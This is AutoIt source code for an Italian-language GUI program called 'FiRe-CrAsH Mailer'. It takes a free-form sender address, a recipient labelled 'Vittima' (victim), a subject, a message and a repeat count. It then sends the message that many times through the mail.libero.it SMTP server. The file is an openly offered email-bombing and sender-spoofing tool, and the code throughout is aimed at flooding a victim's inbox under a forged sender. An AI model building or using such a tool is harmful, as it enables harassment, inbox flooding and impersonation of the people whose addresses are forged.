#include <GUIConstants.au3>

#include<Inet.au3>

#FiRe-CrAsH@msn.com

GUICreate("FiRe-CrAsH Mailer", 236, 333, 242, 163, BitOR($WS_MAXIMIZEBOX,$WS_MINIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_SYSMENU,$WS_CAPTION,$WS_OVERLAPPEDWINDOW,$WS_TILEDWINDOW,$WS_POPUP,$WS_POPUPWINDOW,$WS_GROUP,$WS_TABSTOP,$WS_BORDER,$WS_CLIPSIBLINGS))

GUISetBkColor(0x000000)

$mittente = GUICtrlCreateInput("", 56, 16, 169, 21) ;Inserisci il mittente ex: FiRe-CrAsH@msn.com

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlSetBkColor(-1, 0x6A6A6A)

$vittima = GUICtrlCreateInput("", 56, 48, 169, 21) ; Inserisci la vittima ex: FiRe-CrAsH@msn.com

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlSetBkColor(-1, 0x6A6A6A)

GUICtrlCreateLabel("Mittente", 8, 16, 42, 17)

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlCreateLabel("Vittima", 8, 51, 35, 17)

GUICtrlSetColor(-1, 0xC0C0C0)

$titolo = GUICtrlCreateInput("", 56, 84, 169, 21) ;Inserisci il titolo/Soggetto dell'email

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlSetBkColor(-1, 0x6A6A6A)

GUICtrlCreateLabel("Titolo", 7, 84, 30, 17)

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlCreateLabel("Messaggio", 1, 160, 55, 17)

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlCreateLabel("Label3", 32, 128, 36, 17)

$msg = GUICtrlCreateEdit("", 56, 160, 169, 161, BitOR($ES_AUTOVSCROLL,$ES_WANTRETURN)) ;Inserisci il messaggio

 

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlSetBkColor(-1, 0x6A6A6A)

$numero = GUICtrlCreateInput("", 58, 121, 169, 21) ; Numero delle email da inviare lascia in bianco per una sola mail

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlSetBkColor(-1, 0x6A6A6A)

GUICtrlCreateLabel("Numero", 6, 123, 41, 17)

GUICtrlSetColor(-1, 0xC0C0C0)

$Invia = GUICtrlCreateButton("Invia", 0, 288, 49, 33, 0)

GUICtrlSetColor(-1, 0xC0C0C0)

GUICtrlSetBkColor(-1, 0x6A6A6A)

GUISetState(@SW_SHOW)

 

While 1

        $nMsg = GUIGetMsg()

        Switch $nMsg

        case $Invia

                $ms = guictrlread($msg)

        for $asd = 0 to guictrlread($numero) step 1

Dim $mess[2]

$mess[0] = $ms

$mess[1] = ""

 

       

                $server = "mail.libero.it"

                $mitt = guictrlread($mittente)

                $vitt = guictrlread($vittima)

                $tit = guictrlread($titolo)

        $aa = _inetsmtpmail($server,$mitt,$mitt,$vitt,$tit,$mess)

next

if $aa = 1 Then

        msgbox(48,"Read","Mail inviate con successo")

Else

        msgbox(48,"Read","Mail non inviate")

        endif

                Case $GUI_EVENT_CLOSE

                        Exit

 

        EndSwitch

WEnd